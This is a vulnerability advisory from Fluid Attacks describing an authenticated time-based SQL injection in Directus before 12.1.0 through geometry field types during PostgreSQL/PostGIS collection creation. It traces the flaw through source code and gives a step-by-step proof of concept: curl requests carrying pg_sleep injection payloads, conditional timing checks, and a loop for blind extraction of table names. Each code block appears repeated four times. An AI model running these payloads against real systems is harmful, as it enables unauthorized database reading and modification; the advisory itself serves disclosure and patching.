Directus <12.1.0 - Authenticated time-based SQL injection in PostgreSQL/PostGIS collection creation

7,5

High

Discovered by

Santiago Alvarez and Oscar Naveda

Offensive Team, Fluid Attacks

Summary

Full name

Directus <12.1.0 - Authenticated time-based SQL injection in PostgreSQL/PostGIS collection creation

Code name

State

Public

Release date

Affected product

Directus

Vendor

Directus

Affected version(s)

< 12.1.0

Fixed version(s)

12.1.0

Vulnerability name

Time-based SQL Injection

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.5

Exploit available

Yes

Description

Directus <12.1.0 contains an authenticated SQL injection vulnerability in the collection creation flow when the instance uses PostgreSQL with PostGIS enabled. An administrator can create a collection with a geometry field whose fields[].type value starts with geometry but contains attacker-controlled SQL syntax after the geometry subtype.

During POST /collections, Directus passes the request body to CollectionsService.createOne(), iterates over payload.fields, and delegates geometry fields to the PostgreSQL geometry helper. The helper extracts the geometry subtype with field.type.split('.')[1] and interpolates it directly into a raw schema type fragment:

table.specificType(field.field, `geometry(${type}, 4326)`)
table.specificType(field.field, `geometry(${type}, 4326)`)
table.specificType(field.field, `geometry(${type}, 4326)`)
table.specificType(field.field, `geometry(${type}, 4326)`)

Because Knex specificType() emits the supplied type string literally in the generated DDL, a malicious subtype can close the expected geometry(...) expression and append arbitrary SQL statements. The issue is exploitable as a time-based blind SQL injection using payloads such as SELECT pg_sleep(...).

Vulnerability

Root cause

  1. User-controlled collection fields reach schema creation (api/src/controllers/collections.ts:12-33, api/src/services/collections.ts:65-172):

    const collectionKey = await collectionsService.createOne(req.body, {
      attemptConcurrentIndex,
    });
    ...
    await trx.schema.createTable(payload.collection, (table) => {
      for (const field of payload.fields!) {
        fieldsService.addColumnToTable(table, payload.collection, field, {
          attemptConcurrentIndex,
        });
      }
    });
    const collectionKey = await collectionsService.createOne(req.body, {
      attemptConcurrentIndex,
    });
    ...
    await trx.schema.createTable(payload.collection, (table) => {
      for (const field of payload.fields!) {
        fieldsService.addColumnToTable(table, payload.collection, field, {
          attemptConcurrentIndex,
        });
      }
    });
    const collectionKey = await collectionsService.createOne(req.body, {
      attemptConcurrentIndex,
    });
    ...
    await trx.schema.createTable(payload.collection, (table) => {
      for (const field of payload.fields!) {
        fieldsService.addColumnToTable(table, payload.collection, field, {
          attemptConcurrentIndex,
        });
      }
    });
    const collectionKey = await collectionsService.createOne(req.body, {
      attemptConcurrentIndex,
    });
    ...
    await trx.schema.createTable(payload.collection, (table) => {
      for (const field of payload.fields!) {
        fieldsService.addColumnToTable(table, payload.collection, field, {
          attemptConcurrentIndex,
        });
      }
    });
  2. Geometry fields are selected using a broad prefix check (api/src/services/fields.ts:952-953):

    } else if (field.type.startsWith('geometry')) {
      column = this.helpers.st.createColumn(table, field);
    }
    } else if (field.type.startsWith('geometry')) {
      column = this.helpers.st.createColumn(table, field);
    }
    } else if (field.type.startsWith('geometry')) {
      column = this.helpers.st.createColumn(table, field);
    }
    } else if (field.type.startsWith('geometry')) {
      column = this.helpers.st.createColumn(table, field);
    }

    The check accepts any value beginning with geometry, not only the supported geometry types such as geometry.Point, geometry.LineString, or geometry.Polygon.

  3. The PostgreSQL helper inserts the subtype into raw DDL (api/src/database/helpers/geometry/dialects/postgres.ts:12-14):

    const type = field.type.split('.')[1] ?? 'geometry';
    return table.specificType(field.field, `geometry(${type}, 4326)`);
    const type = field.type.split('.')[1] ?? 'geometry';
    return table.specificType(field.field, `geometry(${type}, 4326)`);
    const type = field.type.split('.')[1] ?? 'geometry';
    return table.specificType(field.field, `geometry(${type}, 4326)`);
    const type = field.type.split('.')[1] ?? 'geometry';
    return table.specificType(field.field, `geometry(${type}, 4326)`);

    type is derived from attacker-controlled JSON and is not restricted to a geometry allowlist before it is placed inside the SQL type fragment.

  4. Knex emits specificType() literally: With Knex 3.1.0, the malicious Directus field type:

    geometry.Point, 4326)); SELECT pg_sleep(10);
    geometry.Point, 4326)); SELECT pg_sleep(10);
    geometry.Point, 4326)); SELECT pg_sleep(10);
    geometry.Point, 4326)); SELECT pg_sleep(10);

    produces this schema SQL:

    create table "poc_sqli" ("geom" geometry(Point, 4326)); SELECT pg_sleep(10); --, 4326))
    create table "poc_sqli" ("geom" geometry(Point, 4326)); SELECT pg_sleep(10); --, 4326))
    create table "poc_sqli" ("geom" geometry(Point, 4326)); SELECT pg_sleep(10); --, 4326))
    create table "poc_sqli" ("geom" geometry(Point, 4326)); SELECT pg_sleep(10); --, 4326))

Confirmed source-to-sink path

  1. Source: authenticated HTTP request body sent to:

    POST /collections
    POST /collections
    POST /collections
    POST /collections
  2. Controller: api/src/controllers/collections.ts:31 passes req.body into CollectionsService.createOne().

  3. Service flow: api/src/services/collections.ts:164-172 iterates over payload.fields while building trx.schema.createTable(...).

  4. Geometry dispatch: api/src/services/fields.ts:952-953 sends any field.type beginning with geometry to this.helpers.st.createColumn(...).

  5. SQL construction: api/src/database/helpers/geometry/dialects/postgres.ts:13-14 interpolates field.type.split('.')[1] into geometry(${type}, 4326).

  6. Sink: Knex table.specificType(...) embeds the type string into the emitted CREATE TABLE statement without SQL neutralization.

Impact

An authenticated administrator, or any account with equivalent permission to create collections, can execute SQL in the context of the PostgreSQL database user configured for Directus.

Potential impact includes:

  • Time-based blind extraction of database data.

  • Unauthorized reading of application data through conditional timing probes.

  • Unauthorized modification or deletion of database contents if the configured database role permits it.

  • Availability impact through blocking SQL such as pg_sleep(...) or heavier database operations.

  • Execution of chained SQL statements in the collection creation DDL path.

The confirmed route requires high application privileges because collection creation is restricted to administrators in CollectionsService.createOne() (api/src/services/collections.ts:65-68). This reduces exposure but does not remove the vulnerability, because SQL injection lets that privileged application user cross from Directus authorization into direct database execution.

PoC

Preconditions

  • Directus v11.17.4.

  • PostgreSQL backend.

  • PostGIS enabled in the Directus database.

  • Administrator credentials or equivalent permission to create collections.

  • Directus reachable at http://127.0.0.1:8055.

Step 1 - Login and capture an access token

TOKEN=$(curl -sS -X POST http://127.0.0.1:8055/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"email":"[email protected]","password":"password"}' \
  | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>process.stdout.write(JSON.parse(s).data.access_token))')
TOKEN=$(curl -sS -X POST http://127.0.0.1:8055/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"email":"[email protected]","password":"password"}' \
  | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>process.stdout.write(JSON.parse(s).data.access_token))')
TOKEN=$(curl -sS -X POST http://127.0.0.1:8055/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"email":"[email protected]","password":"password"}' \
  | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>process.stdout.write(JSON.parse(s).data.access_token))')
TOKEN=$(curl -sS -X POST http://127.0.0.1:8055/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"email":"[email protected]","password":"password"}' \
  | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>process.stdout.write(JSON.parse(s).data.access_token))')

Step 2 - Baseline collection creation

RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_normal_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_normal_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_normal_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_normal_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point\"}]}"

Expected result:

  • The request completes quickly.

  • The collection is created with a legitimate PostGIS geometry column.

Step 3 - Time-based SQL injection

RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_sqli_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep(10); --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_sqli_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep(10); --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_sqli_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep(10); --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_sqli_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep(10); --\"}]}"

Expected result:

  • The HTTP response is delayed by approximately 10 seconds.

  • The delay does not occur with the legitimate geometry.Point baseline.

  • The timing difference confirms execution of attacker-controlled SQL.

Step 4 - Conditional timing check

True condition:

RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"

False condition:

RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)

curl -s -w '\nHTTP %{http_code} | %{time_total}s\n' \
  'http://127.0.0.1:8055/collections' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --data-raw "{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"

Expected result:

  • The true condition delays the response by approximately 3 seconds.

  • The false condition returns without a comparable delay.

  • This demonstrates a blind SQL injection primitive, not merely a malformed type error.

Step 5 - Blind data extraction pattern

The same primitive can test database-derived predicates. For example, the following pattern checks one candidate character at a time:

RUN_ID=$(date +%s)

for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0 1 2 3 4 5 6 7 8 9; do
  collection="probe_${RUN_ID}_${letter}"
  echo -n "[$letter] "

  curl -s -w 'HTTP %{http_code} | %{time_total}s\n' -o /dev/null \
    'http://127.0.0.1:8055/collections' \
    -X POST \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $TOKEN" \
    --data-raw "{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"
done
RUN_ID=$(date +%s)

for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0 1 2 3 4 5 6 7 8 9; do
  collection="probe_${RUN_ID}_${letter}"
  echo -n "[$letter] "

  curl -s -w 'HTTP %{http_code} | %{time_total}s\n' -o /dev/null \
    'http://127.0.0.1:8055/collections' \
    -X POST \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $TOKEN" \
    --data-raw "{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"
done
RUN_ID=$(date +%s)

for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0 1 2 3 4 5 6 7 8 9; do
  collection="probe_${RUN_ID}_${letter}"
  echo -n "[$letter] "

  curl -s -w 'HTTP %{http_code} | %{time_total}s\n' -o /dev/null \
    'http://127.0.0.1:8055/collections' \
    -X POST \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $TOKEN" \
    --data-raw "{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"
done
RUN_ID=$(date +%s)

for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0 1 2 3 4 5 6 7 8 9; do
  collection="probe_${RUN_ID}_${letter}"
  echo -n "[$letter] "

  curl -s -w 'HTTP %{http_code} | %{time_total}s\n' -o /dev/null \
    'http://127.0.0.1:8055/collections' \
    -X POST \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $TOKEN" \
    --data-raw "{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"
done

A candidate producing a measurable delay reveals that the tested predicate is true.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-10716 to refer to this issue from now on.

Disclosure policy

System Information

  • Directus

  • Version <12.1.0

  • Operating System: Any

References

Mitigation

An updated version of Directus is available on the vendor page.

Credits

The vulnerability was discovered by Santiago Alvarez and Oscar Naveda from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.